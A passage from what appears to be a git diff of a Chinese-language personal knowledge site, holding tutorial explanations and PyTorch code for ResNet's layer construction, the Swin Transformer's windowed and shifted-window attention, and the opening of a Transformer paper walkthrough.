blocks: int, # 模块数目
stride: int = 1, # 步长
dilate: bool = False, # 空洞卷积,与本文无关
) -> nn.Sequential:
norm_layer = self._norm_layer
downsample = None # 是否采用下采样
####################无关#####################
previous_dilation = self.dilation
if dilate:
self.dilation *= stride
stride = 1
#############################################
if stride != 1 or self.inplanes != planes * block.expansion:
downsample = nn.Sequential(
conv1x1(self.inplanes, planes * block.expansion, stride),
norm_layer(planes * block.expansion),
)

# 使用layers存储每个layer
layers = []
layers.append(
block(
self.inplanes, planes, stride, downsample, self.groups, self.base_width, previous_dilation, norm_layer
)
)
self.inplanes = planes * block.expansion
for _ in range(1, blocks):
layers.append(
block(
self.inplanes,
planes,
groups=self.groups,
base_width=self.base_width,
dilation=self.dilation,
norm_layer=norm_layer,
)
)
# 将layers通过nn.Sequential转化为网络
return nn.Sequential(*layers)

def _forward_impl(self, x: Tensor) -> Tensor:
# See note [TorchScript super()]
x = self.conv1(x) # conv1 x shape [1 64 112 112]
x = self.bn1(x) # 归一化处理
x = self.relu(x) # 激活函数
x = self.maxpool(x) # conv2_x的3x3 maxpool x shape [1 64 56 56]

x = self.layer1(x) # layer 1
x = self.layer2(x) # layer 2
x = self.layer3(x) # layer 3
x = self.layer4(x) # layer 4

x = self.avgpool(x) # 自适应池化
x = torch.flatten(x, 1)
x = self.fc(x) # 分类

return x

def forward(self, x: Tensor) -> Tensor:
return self._forward_impl(x)
+

观察上述代码,我们不难看到,首先是一个7 x 7的卷积作用在输入的3维图片上,并输入一个64维的特征图(即self.inplanes的初始值),通过BatchNorm层,ReLU层,MaxPool层;然后经过_make_layer()函数构建的4层layer,最后经过一个AveragePooling层,再经过一个fc层得到分类输出。在网络搭建起来后,还对模型的参数(Conv2d、BatchNorm2d、last BN)进行了初始化。

+

而对于_make_layer函数,一个_make_layer()构建一个layer层,每一个layer层是上述两种基本模块的堆叠。输入参数中block代表该layer堆叠模块的类型,可选BasicBlock或者BottleNeck;blocks代表该layer中堆叠的block的数目;planes与该layer最终输出的维度数有关,注意最终输出的维度数为planes * block.expansion。除此之外, _make_layer()是用来生成残差块的,这就牵扯到它的第四个参数:stride,即卷积步幅。该函数中首先定义了如果stride不等于1或者维度不匹配(即输入通道不满足对应关系)的时候的downsample,然后对其进行一次BN操作。接着对inplanes和planes不一致的情况进行了一次downsample ,即将带downsample的block添加至layers。这样保证了x和out的维度一致,接下来通过一个循环添加了指定个数的Block,由于x已经维度一致了,这样添加的其他的Block就可以不用降维了,所以循环添加不含Downsample的Block。正如下面代码所示

+
if stride != 1 or self.inplanes != planes * block.expansion:
downsample = nn.Sequential(
conv1x1(self.inplanes, planes * block.expansion, stride),
norm_layer(planes * block.expansion),
)
+

当一个layer包含多个block时,是通过向layers列表中依次加入每个block,来实现block的堆叠的。第一个block需要特殊处理,该block依据传入的self.inplanes, planes以及stride判断,可能含有downsample支路;这个block的输出维度是planes*block.expansion。紧接着便把self.inplanes更新为此值作为后续block的输入维度。后面的block的stride为默认值1,同时,由于输入为self.inplanes,输出为planes*block.expansion,而self.inplanes = planes * block.expansion,因此不会出现特征图大小或者尺寸不一致的情况,不可能出现downsample操作。

+

3 总结​

+

与普通的网络相比,ResNet最大的优势就是引入了Shortcut这个支路,让某一层可以直接连接到后面的层,使得后面的层可以直接学习残差。传统的卷积层或全连接层在信息传递时,或多或少会存在信息丢失、损耗等问题。ResNet 在某种程度上解决了这个问题,通过直接将输入信息绕道传到输出,保护信息的完整性,整个网络则只需要学习输入、输出差别的那一部分,简化学习目标和难度。

+

ResNet的出现,在一定程度上解决了卷积神经网络随深度的增加,但是模型效果却变差的问题,用作者的话说,就是: “Our deep residual nets can easily enjoy accuracy gains from greatly increased depth, producing results substantially better than previous networks.”。原始的ResNet对于训练卷积神经网路做出了很大的贡献,但是同样也有着许多可以改进的地方。随着时代的发展,原版的ResNet在一次又一次的研究中得到了丰富和完善,衍生出了丰富的改进的模型,如ResNeXt。它提出了一种介于普通卷积核深度可分离卷积的这种策略:分组卷积。通过控制分组的数量(基数)来达到两种策略的平衡。分组卷积的思想是源自Inception,不同于Inception的需要人工设计每个分支,ResNeXt的每个分支的拓扑结构是相同的。最后再结合残差网络,得到的便是最终的ResNeXt。

+

除此之外,ResNet还有其它变体如Wider ResNet,DarkNet53等。它们的改进相对较大,尤其是DarkNet53,它和ResNet已经有很大不同了,只是使用到了残差连接从而复用特征而已。总而言之,ResNet作为卷积神经网络的一个里程碑式的模型一直在各个领域被应用,因此我们学习这样一个模型架构很有必要。毫不夸张的说,ResNet值得每一个学习深度学习的学子认真研究。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第十章/Swin-Transformer解读/index.html b/en/docs/个人知识库/AI/PyTorch/第十章/Swin-Transformer解读/index.html new file mode 100644 index 0000000..625483e --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第十章/Swin-Transformer解读/index.html @@ -0,0 +1,255 @@ + + + + + +Swin-Transformer解读.md | wjlin0 + + + + + + + +

Swin-Transformer解读.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:41
+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 18:52:46
+

Swin Transformer解读

+

+[Swin-T] Swin Transformer: Hierarchical Vision Transformer using Shifted Windows +
+Ze Liu, Yutong Lin, Yue Cao, Han Hu, Yixuan Wei, Zheng Zhang, Stephen Lin, Baining Guo. +
+ICCV 2021. +[paper] [code] +
+解读者:沈豪,复旦大学博士,Datawhale成员 +
+

+

前言​

+

《Swin Transformer: Hierarchical Vision Transformer using Shifted Windows》作为2021 ICCV最佳论文,屠榜了各大CV任务,性能优于DeiT、ViT和EfficientNet等主干网络,已经替代经典的CNN架构,成为了计算机视觉领域通用的backbone。它基于了ViT模型的思想,创新性的引入了滑动窗口机制,让模型能够学习到跨窗口的信息,同时也。同时通过下采样层,使得模型能够处理超分辨率的图片,节省计算量以及能够关注全局和局部的信息。而本文将从原理和代码角度详细解析Swin Transformer的架构。

+

目前将 Transformer 从自然语言处理领域应用到计算机视觉领域主要有两大挑战:

+
    +
  • 视觉实体的方差较大,例如同一个物体,拍摄角度不同,转化为二进制后的图片就会具有很大的差异。同时在不同场景下视觉 Transformer 性能未必很好。
  • +
  • 图像分辨率高,像素点多,如果采用ViT模型,自注意力的计算量会与像素的平方成正比。
  • +
+

针对上述两个问题,论文中提出了一种基于滑动窗口机制,具有层级设计(下采样层) 的 Swin Transformer。

+

其中滑窗操作包括不重叠的 local window,和重叠的 cross-window。将注意力计算限制在一个窗口(window size固定)中,一方面能引入 CNN 卷积操作的局部性,另一方面能大幅度节省计算量,它只和窗口数量成线性关系。通过下采样的层级设计,能够逐渐增大感受野,从而使得注意力机制也能够注意到全局的特征。

+Swin-T&ViT +

在论文的最后,作者也通过大量的实验证明Swin Transformer相较于以前的SOTA模型均有提高,尤其是在ADE20K数据和COCO数据集上的表现。也证明了Swin Transformer可以作为一种通用骨干网络被使用。

+

模型结构​

+

Architecture

+

整个模型采取层次化的设计,一共包含 4 个 Stage,除第一个 stage 外,每个 stage 都会先通过 Patch Merging 层缩小输入特征图的分辨率,进行下采样操作,像 CNN 一样逐层扩大感受野,以便获取到全局的信息。

+

以论文的角度:

+
    +
  • 在输入开始的时候,做了一个Patch Partition,即ViT中Patch Embedding操作,通过 Patch_size 为4的卷积层将图片切成一个个 Patch ,并嵌入到Embedding,将 embedding_size 转变为48(可以将 CV 中图片的通道数理解为NLP中token的词嵌入长度)。
  • +
  • 随后在第一个Stage中,通过Linear Embedding调整通道数为C。
  • +
  • 在每个 Stage 里(除第一个 Stage ),均由Patch Merging和多个Swin Transformer Block组成。
  • +
  • 其中Patch Merging模块主要在每个 Stage 一开始降低图片分辨率,进行下采样的操作。
  • +
  • 而Swin Transformer Block具体结构如右图所示,主要是LayerNorm,Window Attention ,Shifted Window Attention和MLP组成 。
  • +
+

从代码的角度:

+

在微软亚洲研究院提供的代码中,是将Patch Merging作为每个 Stage 最后结束的操作,输入先进行Swin Transformer Block操作,再下采样。而最后一个 Stage 不需要进行下采样操作,之间通过后续的全连接层与 target label 计算损失。

+

code_Architecture

+
# window_size=7 
# input_batch_image.shape=[128,3,224,224]
class SwinTransformer(nn.Module):
def __init__(...):
super().__init__()
...
# absolute position embedding
if self.ape:
self.absolute_pos_embed = nn.Parameter(torch.zeros(1, num_patches, embed_dim))

self.pos_drop = nn.Dropout(p=drop_rate)

# build layers
self.layers = nn.ModuleList()
for i_layer in range(self.num_layers):
layer = BasicLayer(...)
self.layers.append(layer)

self.norm = norm_layer(self.num_features)
self.avgpool = nn.AdaptiveAvgPool1d(1)
self.head = nn.Linear(self.num_features, num_classes) if num_classes > 0 else nn.Identity()

def forward_features(self, x):
x = self.patch_embed(x) # Patch Partition
if self.ape:
x = x + self.absolute_pos_embed
x = self.pos_drop(x)

for layer in self.layers:
x = layer(x)

x = self.norm(x) # Batch_size Windows_num Channels
x = self.avgpool(x.transpose(1, 2)) # Batch_size Channels 1
x = torch.flatten(x, 1)
return x

def forward(self, x):
x = self.forward_features(x)
x = self.head(x) # self.head => Linear(in=Channels,out=Classification_num)
return x
+

其中有几个地方处理方法与 ViT 不同:

+
    +
  • ViT 在输入会给 embedding 进行位置编码。而 Swin-T 这里则是作为一个可选项(self.ape),Swin-T 是在计算 Attention 的时候做了一个相对位置编码,我认为这是这篇论文设计最巧妙的地方。
  • +
  • ViT 会单独加上一个可学习参数,作为分类的 token。而 Swin-T 则是直接做平均(avgpool),输出分类,有点类似 CNN 最后的全局平均池化层。
  • +
+

Patch Embedding​

+

在输入进 Block 前,我们需要将图片切成一个个 patch,然后嵌入向量。

+

具体做法是对原始图片裁成一个个 window_size * window_size 的窗口大小,然后进行嵌入。

+

这里可以通过二维卷积层,将 stride,kernel_size 设置为 window_size 大小。设定输出通道来确定嵌入向量的大小。最后将 H,W 维度展开,并移动到第一维度。

+
+

论文中输出通道设置为48,但是代码中为96,以下我们均以代码为准。

+

Batch_size=128

+
+

Patch_embedding

+
import torch
import torch.nn as nn

class PatchEmbed(nn.Module):
def __init__(self, img_size=224, patch_size=4, in_chans=3, embed_dim=96, norm_layer=None):
super().__init__()
img_size = to_2tuple(img_size) # -> (img_size, img_size)
patch_size = to_2tuple(patch_size) # -> (patch_size, patch_size)
patches_resolution = [img_size[0] // patch_size[0], img_size[1] // patch_size[1]]
self.img_size = img_size
self.patch_size = patch_size
self.patches_resolution = patches_resolution
self.num_patches = patches_resolution[0] * patches_resolution[1]

self.in_chans = in_chans
self.embed_dim = embed_dim

self.proj = nn.Conv2d(in_chans, embed_dim, kernel_size=patch_size, stride=patch_size)
if norm_layer is not None:
self.norm = norm_layer(embed_dim)
else:
self.norm = None

def forward(self, x):
# 假设采取默认参数,论文中embedding_size是96,但是代码中为48.我们以代码为准
x = self.proj(x) # 出来的是(N, 96, 224/4, 224/4)
x = torch.flatten(x, 2) # 把HW维展开,(N, 96, 56*56)
x = torch.transpose(x, 1, 2) # 把通道维放到最后 (N, 56*56, 96)
if self.norm is not None:
x = self.norm(x)
return x
+

Patch Merging​

+

该模块的作用是在每个 Stage 开始前做降采样,用于缩小分辨率,调整通道数进而形成层次化的设计,同时也能节省一定运算量。

+
+

在 CNN 中,则是在每个 Stage 开始前用stride=2的卷积/池化层来降低分辨率。

+
+

每次降采样是两倍,因此在行方向和列方向上,间隔 2 选取元素。

+

然后拼接在一起作为一整个张量,最后展开。此时通道维度会变成原先的 4 倍(因为 H,W 各缩小 2 倍),此时再通过一个全连接层再调整通道维度为原来的两倍。

+

下面是一个示意图(输入张量 N=1, H=W=8, C=1,不包含最后的全连接层调整)

+

Patch_Merging

+

Patch_Merging_dim

+
class PatchMerging(nn.Module):
def __init__(self, input_resolution, dim, norm_layer=nn.LayerNorm):
super().__init__()
self.input_resolution = input_resolution
self.dim = dim
self.reduction = nn.Linear(4 * dim, 2 * dim, bias=False)
self.norm = norm_layer(4 * dim)

def forward(self, x):
"""
x: B, H*W, C
"""
H, W = self.input_resolution
B, L, C = x.shape
assert L == H * W, "input feature has wrong size"
assert H % 2 == 0 and W % 2 == 0, f"x size ({H}*{W}) are not even."

x = x.view(B, H, W, C)

x0 = x[:, 0::2, 0::2, :] # B H/2 W/2 C
x1 = x[:, 1::2, 0::2, :] # B H/2 W/2 C
x2 = x[:, 0::2, 1::2, :] # B H/2 W/2 C
x3 = x[:, 1::2, 1::2, :] # B H/2 W/2 C
x = torch.cat([x0, x1, x2, x3], -1) # B H/2 W/2 4*C
x = x.view(B, -1, 4 * C) # B H/2*W/2 4*C

x = self.norm(x)
x = self.reduction(x)

return x
+

Window Partition/Reverse​

+

window partition函数是用于对张量划分窗口,指定窗口大小。将原本的张量从 N H W C, 划分成 num_windows*B, window_size, window_size, C,其中 num_windows = H*W / window_size*window_size,即窗口的个数。而window reverse函数则是对应的逆过程。这两个函数会在后面的Window Attention用到。

+

Window_Partition_Reverse

+
def window_partition(x, window_size):
B, H, W, C = x.shape
x = x.view(B, H // window_size, window_size, W // window_size, window_size, C)
windows = x.permute(0, 1, 3, 2, 4, 5).contiguous().view(-1, window_size, window_size, C)
return windows

def window_reverse(windows, window_size, H, W):
B = int(windows.shape[0] / (H * W / window_size / window_size))
x = windows.view(B, H // window_size, W // window_size, window_size, window_size, -1)
x = x.permute(0, 1, 3, 2, 4, 5).contiguous().view(B, H, W, -1)
return x
+

Window Attention​

+

传统的 Transformer 都是基于全局来计算注意力的,因此计算复杂度十分高。而 Swin Transformer 则将注意力的计算限制在每个窗口内,进而减少了计算量。我们先简单看下公式

+

$$ +Attention(Q,K,V)=Softmax(\frac{QK^T}{\sqrt d}+B)V +$$ +主要区别是在原始计算 Attention 的公式中的 Q,K 时加入了相对位置编码。

+Swin-T_block +
class WindowAttention(nn.Module):
r""" Window based multi-head self attention (W-MSA) module with relative position bias.
It supports both of shifted and non-shifted window.

Args:
dim (int): Number of input channels.
window_size (tuple[int]): The height and width of the window.
num_heads (int): Number of attention heads.
qkv_bias (bool, optional): If True, add a learnable bias to query, key, value. Default: True
qk_scale (float | None, optional): Override default qk scale of head_dim ** -0.5 if set
attn_drop (float, optional): Dropout ratio of attention weight. Default: 0.0
proj_drop (float, optional): Dropout ratio of output. Default: 0.0
"""

def __init__(self, dim, window_size, num_heads, qkv_bias=True, qk_scale=None, attn_drop=0., proj_drop=0.):

super().__init__()
self.dim = dim
self.window_size = window_size # Wh, Ww
self.num_heads = num_heads # nH
head_dim = dim // num_heads # 每个注意力头对应的通道数
self.scale = qk_scale or head_dim ** -0.5

# define a parameter table of relative position bias
self.relative_position_bias_table = nn.Parameter(
torch.zeros((2 * window_size[0] - 1) * (2 * window_size[1] - 1), num_heads)) # 设置一个形状为(2*(Wh-1) * 2*(Ww-1), nH)的可学习变量,用于后续的位置编码

self.qkv = nn.Linear(dim, dim * 3, bias=qkv_bias)
self.attn_drop = nn.Dropout(attn_drop)
self.proj = nn.Linear(dim, dim)
self.proj_drop = nn.Dropout(proj_drop)

trunc_normal_(self.relative_position_bias_table, std=.02)
self.softmax = nn.Softmax(dim=-1)
# 相关位置编码...
+

相关位置编码的直观理解​

+
+

Q,K,V.shape=[numWindwos*B, num_heads, window_size*window_size, head_dim]

+
    +
  • window_size*window_size 即 NLP 中token的个数
  • +
  • $head_dim=\frac{Embedding_dim}{num_heads}$ 即 NLP 中token的词嵌入向量的维度
  • +
+

${QK}^T$计算出来的Attention张量的形状为[numWindows*B, num_heads, Q_tokens, K_tokens]

+
    +
  • 其中Q_tokens=K_tokens=window_size*window_size
  • +
+
+

以window_size=2为例:

+绝对位置索引 +

因此:${QK}^T=\left[\begin{array}{cccc}a_{11} & a_{12} & a_{13} & a_{14} \ a_{21} & a_{22} & a_{23} & a_{24} \ a_{31} & a_{32} & a_{33} & a_{34} \ a_{41} & a_{42} & a_{43} & a_{44}\end{array}\right]$

+
    +
  • 第 $i$ 行表示第 $i$ 个 token 的query对所有token的key的attention。
  • +
  • 对于 Attention 张量来说,以不同元素为原点,其他元素的坐标也是不同的,
  • +
+相对位置索引 +

所以${QK}^T的相对位置索引=\left[\begin{array}{cccc}(0,0) & (0,-1) & (-1,0) & (-1,-1) \ (0,1) & (0,0) & (-1,1) & (-1,0) \ (1,0) & (1,-1) & (0,0) & (0,-1) \ (1,1) & (1,0) & (0,1) & (0,0)\end{array}\right]$

+

由于最终我们希望使用一维的位置坐标 x+y 代替二维的位置坐标 (x,y),为了避免 (1,2) (2,1) 两个坐标转为一维时均为3,我们之后对相对位置索引进行了一些线性变换,使得能通过一维的位置坐标唯一映射到一个二维的位置坐标,详细可以通过代码部分进行理解。

+

相关位置编码的代码详解​

+

首先我们利用torch.arange和torch.meshgrid函数生成对应的坐标,这里我们以windowsize=2为例子

+
coords_h = torch.arange(self.window_size[0])
coords_w = torch.arange(self.window_size[1])
coords = torch.meshgrid([coords_h, coords_w]) # -> 2*(wh, ww)
"""
(tensor([[0, 0],
[1, 1]]),
tensor([[0, 1],
[0, 1]]))
"""
+

然后堆叠起来,展开为一个二维向量

+
coords = torch.stack(coords)  # 2, Wh, Ww
coords_flatten = torch.flatten(coords, 1) # 2, Wh*Ww
"""
tensor([[0, 0, 1, 1],
[0, 1, 0, 1]])
"""
+

利用广播机制,分别在第一维,第二维,插入一个维度,进行广播相减,得到 2, wh*ww, wh*ww的张量

+
relative_coords_first = coords_flatten[:, :, None]  # 2, wh*ww, 1
relative_coords_second = coords_flatten[:, None, :] # 2, 1, wh*ww
relative_coords = relative_coords_first - relative_coords_second # 最终得到 2, wh*ww, wh*ww 形状的张量
+

relative_pos_code

+

因为采取的是相减,所以得到的索引是从负数开始的,我们加上偏移量,让其从 0 开始。

+
relative_coords = relative_coords.permute(1, 2, 0).contiguous() # Wh*Ww, Wh*Ww, 2
relative_coords[:, :, 0] += self.window_size[0] - 1
relative_coords[:, :, 1] += self.window_size[1] - 1
+

后续我们需要将其展开成一维偏移量。而对于 (1,2)和(2,1)这两个坐标。在二维上是不同的,但是通过将 x,y 坐标相加转换为一维偏移的时候,他的偏移量是相等的。

+

bias0

+

所以最后我们对其中做了个乘法操作,以进行区分

+
relative_coords[:, :, 0] *= 2 * self.window_size[1] - 1
+

offset multiply

+

然后再最后一维上进行求和,展开成一个一维坐标,并注册为一个不参与网络学习的变量

+
relative_position_index = relative_coords.sum(-1)  # Wh*Ww, Wh*Ww
self.register_buffer("relative_position_index", relative_position_index)
+

之前计算的是相对位置索引,并不是相对位置偏置参数。真正使用到的可训练参数$\hat B$是保存在relative position bias table表里的,这个表的长度是等于 (2M−1) × (2M−1) (在二维位置坐标中线性变化乘以2M-1导致)的。那么上述公式中的相对位置偏执参数B是根据上面的相对位置索引表根据查relative position bias table表得到的。

+relative_pos_bias_table +

接着我们看前向代码

+
def forward(self, x, mask=None):
"""
Args:
x: input features with shape of (num_windows*B, N, C)
mask: (0/-inf) mask with shape of (num_windows, Wh*Ww, Wh*Ww) or None
"""
B_, N, C = x.shape

qkv = self.qkv(x).reshape(B_, N, 3, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4)
q, k, v = qkv[0], qkv[1], qkv[2] # make torchscript happy (cannot use tensor as tuple)

q = q * self.scale
attn = (q @ k.transpose(-2, -1))

relative_position_bias = self.relative_position_bias_table[self.relative_position_index.view(-1)].view(self.window_size[0] * self.window_size[1], self.window_size[0] * self.window_size[1], -1) # Wh*Ww,Wh*Ww,nH
relative_position_bias = relative_position_bias.permute(2, 0, 1).contiguous() # nH, Wh*Ww, Wh*Ww
attn = attn + relative_position_bias.unsqueeze(0) # (1, num_heads, windowsize, windowsize)

if mask is not None: # 下文会分析到
...
else:
attn = self.softmax(attn)

attn = self.attn_drop(attn)

x = (attn @ v).transpose(1, 2).reshape(B_, N, C)
x = self.proj(x)
x = self.proj_drop(x)
return x
+
    +
  • 首先输入张量形状为 [numWindows*B, window_size * window_size, C]
  • +
  • 然后经过self.qkv这个全连接层后,进行 reshape,调整轴的顺序,得到形状为[3, numWindows*B, num_heads, window_size*window_size, c//num_heads],并分配给q,k,v。
  • +
  • 根据公式,我们对q乘以一个scale缩放系数,然后与k(为了满足矩阵乘要求,需要将最后两个维度调换)进行相乘。得到形状为[numWindows*B, num_heads, window_size*window_size, window_size*window_size]的attn张量
  • +
  • 之前我们针对位置编码设置了个形状为(2*window_size-1*2*window_size-1, numHeads)的可学习变量。我们用计算得到的相对编码位置索引self.relative_position_index.vew(-1)选取,得到形状为(window_size*window_size, window_size*window_size, numHeads)的编码,再permute(2,0,1)后加到attn张量上
  • +
  • 暂不考虑 mask 的情况,剩下就是跟 transformer 一样的 softmax,dropout,与V矩阵乘,再经过一层全连接层和 dropout
  • +
+

Shifted Window Attention​

+

前面的 Window Attention 是在每个窗口下计算注意力的,为了更好的和其他 window 进行信息交互,Swin Transformer 还引入了 shifted window 操作。

+Shifted_Window +

左边是没有重叠的 Window Attention,而右边则是将窗口进行移位的 Shift Window Attention。可以看到移位后的窗口包含了原本相邻窗口的元素。但这也引入了一个新问题,即 window 的个数翻倍了,由原本四个窗口变成了 9 个窗口。在实际代码里,我们是通过对特征图移位,并给 Attention 设置 mask 来间接实现的。能在保持原有的 window 个数下,最后的计算结果等价。

+

W-MSA

+

特征图移位操作​

+

代码里对特征图移位是通过torch.roll来实现的,下面是示意图

+torch_roll +
+

如果需要reverse cyclic shift的话只需把参数shifts设置为对应的正数值。

+
+

Attention Mask​

+

这是 Swin Transformer 的精华,通过设置合理的 mask,让Shifted Window Attention在与Window Attention相同的窗口个数下,达到等价的计算结果。

+

首先我们对 Shift Window 后的每个窗口都给上 index,并且做一个roll操作(window_size=2, shift_size=1)

+Shift window index +

我们希望在计算 Attention 的时候,让具有相同 index QK 进行计算,而忽略不同 index QK 计算结果。最后正确的结果如下图所示

+Mask +

而要想在原始四个窗口下得到正确的结果,我们就必须给 Attention 的结果加入一个 mask(如上图最右边所示)相关代码如下:

+
if self.shift_size > 0:
# calculate attention mask for SW-MSA
H, W = self.input_resolution
img_mask = torch.zeros((1, H, W, 1)) # 1 H W 1
h_slices = (slice(0, -self.window_size),
slice(-self.window_size, -self.shift_size),
slice(-self.shift_size, None))
w_slices = (slice(0, -self.window_size),
slice(-self.window_size, -self.shift_size),
slice(-self.shift_size, None))
cnt = 0
for h in h_slices:
for w in w_slices:
img_mask[:, h, w, :] = cnt
cnt += 1

mask_windows = window_partition(img_mask, self.window_size) # nW, window_size, window_size, 1
mask_windows = mask_windows.view(-1, self.window_size * self.window_size)
attn_mask = mask_windows.unsqueeze(1) - mask_windows.unsqueeze(2)
attn_mask = attn_mask.masked_fill(attn_mask != 0, float(-100.0)).masked_fill(attn_mask == 0, float(0.0))
else:
attn_mask = None
+

以上图的设置,我们用这段代码会得到这样的一个 mask

+
tensor([[[[[   0.,    0.,    0.,    0.],
[ 0., 0., 0., 0.],
[ 0., 0., 0., 0.],
[ 0., 0., 0., 0.]]],


[[[ 0., -100., 0., -100.],
[-100., 0., -100., 0.],
[ 0., -100., 0., -100.],
[-100., 0., -100., 0.]]],


[[[ 0., 0., -100., -100.],
[ 0., 0., -100., -100.],
[-100., -100., 0., 0.],
[-100., -100., 0., 0.]]],


[[[ 0., -100., -100., -100.],
[-100., 0., -100., -100.],
[-100., -100., 0., -100.],
[-100., -100., -100., 0.]]]]])
+

在之前的 window attention 模块的前向代码里,包含这么一段

+
if mask is not None:
nW = mask.shape[0] # 一张图被分为多少个windows eg:[4,49,49]
attn = attn.view(B_ // nW, nW, self.num_heads, N, N) + mask.unsqueeze(1).unsqueeze(0) # torch.Size([128, 4, 12, 49, 49]) torch.Size([1, 4, 1, 49, 49])
attn = attn.view(-1, self.num_heads, N, N)
attn = self.softmax(attn)
else:
attn = self.softmax(attn)
+

将 mask 加到 attention 的计算结果,并进行 softmax。mask 的值设置为 - 100,softmax 后就会忽略掉对应的值。关于Mask,我们发现在官方代码库中的issue38也进行了讨论:-->The Question about the mask of window attention #38

+

W-MSA和MSA的复杂度对比​

+

在原论文中,作者提出的基于滑动窗口操作的 W-MSA 能大幅度减少计算量。那么两者的计算量和算法复杂度大概是如何的呢,论文中给出了一下两个公式进行对比。 +$$ +\begin{aligned} +&\Omega(M S A)=4 h w C^{2}+2(h w)^{2} C \ +&\Omega(W-M S A)=4 h w C^{2}+2 M^{2} h w C +\end{aligned} +$$

+
    +
  • h:feature map的高度
  • +
  • w:feature map的宽度
  • +
  • C:feature map的通道数(也可以称为embedding size的大小)
  • +
  • M:window_size的大小
  • +
+

MSA模块的计算量​

+

首先对于feature map中每一个token(一共有 $hw$ 个token,通道数为C),记作$X^{h w \times C}$,需要通过三次线性变换 $W_q,W_k,W_v$ ,产生对应的q,k,v向量,记作 $Q^{h w \times C},K^{h w \times C},V^{h w \times C}$ (通道数为C)。 +$$ +X^{h w \times C} \cdot W_{q}^{C \times C}=Q^{h w \times C} \ +X^{h w \times C} \cdot W_{k}^{C \times C}=K^{h w \times C} \ +X^{h w \times C} \cdot W_{v}^{C \times C}=V^{h w \times C} \ +$$ +根据矩阵运算的计算量公式可以得到运算量为 $3hwC \times C$ ,即为 $3hwC^2$ 。 +$$ +Q^{h w \times C} \cdot K^T=A^{h w \times hw} \ +\Lambda^{h w \times h w}=Softmax(\frac{A^{h w \times hw}}{\sqrt(d)}+B) \ +\Lambda^{h w \times h w} \cdot V^{h w \times C}=Y^{h w \times C} +$$ +忽略除以$\sqrt d$ 以及softmax的计算量,根据根据矩阵运算的计算量公式可得 $hwC \times hw + hw^2 \times C$ ,即为 $2(hw^2)C$ 。 +$$ +Y^{h w \times C} \cdot W_O^{C \times C}=O^{h w \times C} +$$ +最终再通过一个Linear层输出,计算量为 $hwC^2$ 。因此整体的计算量为 $4 h w C^{2}+2(h w)^{2} C$​ 。

+

W-MSA模块的计算量​

+

对于W-MSA模块,首先会将feature map根据window_size分成 $\frac{hw}{M^2}$ 的窗口,每个窗口的宽高均为$M$,然后在每个窗口进行MSA的运算。因此,可以利用上面MSA的计算量公式,将 $h=M,w=M$ 带入,可以得到一个窗口的计算量为 $4 M^2 C^{2}+2M^{4} C$ 。

+

又因为有 $\frac{hw}{M^2}$ 个窗口,则: +$$ +\frac{hw}{M^2} \times\left(4M^2 C^2+2M^{4} C\right)=4 h w C^{2}+2 M^{2} h w C +$$ +假设feature map的$h=w=112,M=7,C=128$,采用W-MSA模块会比MSA模块节省约40124743680 FLOPs: +$$ +2(h w)^{2} C-2 M^{2} h w C=2 \times 112^{4} \times 128-2 \times 7^{2} \times 112^{2} \times 128=40124743680 +$$

+

整体流程图​

+

Swin-T

+

Network

+

Hyper_parameters

+
+

参考博客:

+

https://zhuanlan.zhihu.com/p/367111046

+
+
+

联系方式:

+ +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第十章/Transformer 解读/index.html b/en/docs/个人知识库/AI/PyTorch/第十章/Transformer 解读/index.html new file mode 100644 index 0000000..8b9a3c9 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第十章/Transformer 解读/index.html @@ -0,0 +1,215 @@ + + + + + +Transformer 解读.md | wjlin0 + + + + + + + +

Transformer 解读.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:41
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

Transformer 解读

+

+[Transformer] Attention Is All You Need +
+Ashish Vaswani,Noam Shazeer,Niki Parmar,Jakob Uszkoreit,Llion Jones,Aidan N. Gomez,Łukasz Kaiser,Illia Polosukhin. +
+NIPS 2017. +[paper] [tensorflow] [pytorch] +
+解读者:邹雨衡,对外经济贸易大学本科生,牛志康,西安电子科技大学本科生 +
+

+

前言​

+

​Attention (注意力)机制及其变体已经成为自然语言处理任务的一种基本网络架构,甚至在一定程度上取代了 RNN (循环神经网络)的主流地位,2018年取得了自然语言处理多项任务效果大幅提升的 BERT 模型便是基于 attention 机制搭建。但自2014年 attention 机制被提出至2017年,虽然被广泛应用到深度学习的各领域中,attention 机制更多的是作为 CNN(卷积神经网络)、RNN 的组件存在,自然语言处理的各种任务仍然是以 RNN 及其变体如 LSTM(长短期记忆递归神经网络)为主。

+

​但是 RNN、LSTM 虽然在处理自然语言处理的序列建模任务中得天独厚,却也有着难以忽视的缺陷:

+

​1. RNN 为单向依序计算,序列需要依次输入、串行计算,限制了计算机的并行计算能力,导致时间成本过高。

+

​2. RNN 难以捕捉长期依赖问题,即对于极长序列,RNN 难以捕捉远距离输入之间的关系。虽然 LSTM 通过门机制对此进行了一定优化,但 RNN 对长期依赖问题的捕捉能力依旧是不如人意的。

+

​针对上述两个问题,2017年,Vaswani 等人发表了论文《Attention Is All You Need》,抛弃了传统的 CNN、RNN 架构,提出了一种全新的完全基于 attention 机制的模型——Transformer,解决了上述问题,在较小的时间成本下取得了多个任务的 the-state-of-art 效果,并为自然语言处理任务提供了新的思路。自此,attention 机制进入自然语言处理任务的主流架构,众多性能卓越的预训练模型都基于 Transformer 架构提出,例如 BERT、OpenAI GPT 等。

+

​本文将从模型原理及代码实现上讲解该模型,并着重介绍代码实现。需要注意的是,由于 Transformer 源代码使用 TensorFlow 搭建,此处选择了哈佛大学 harvardnlp 团队基于 Pytorch 框架开发的 Annotated Transformer 代码进行讲解,以帮助大家了解 Transformer 的实现细节。

+

整体架构​

+

​ Transformer 是针对自然语言处理的 Seq2Seq(序列到序列)任务开发的,整体上沿用了 Seq2Seq 模型的 Encoder-Decoder(编码器-解码器)结构,整体架构如下:

+
image-20230127193646262
+

​ Transformer 由一个 Encoder,一个 Decoder 外加一个 Softmax 分类器与两层编码层构成。上图中左侧方框为 Encoder,右侧方框为 Decoder。

+

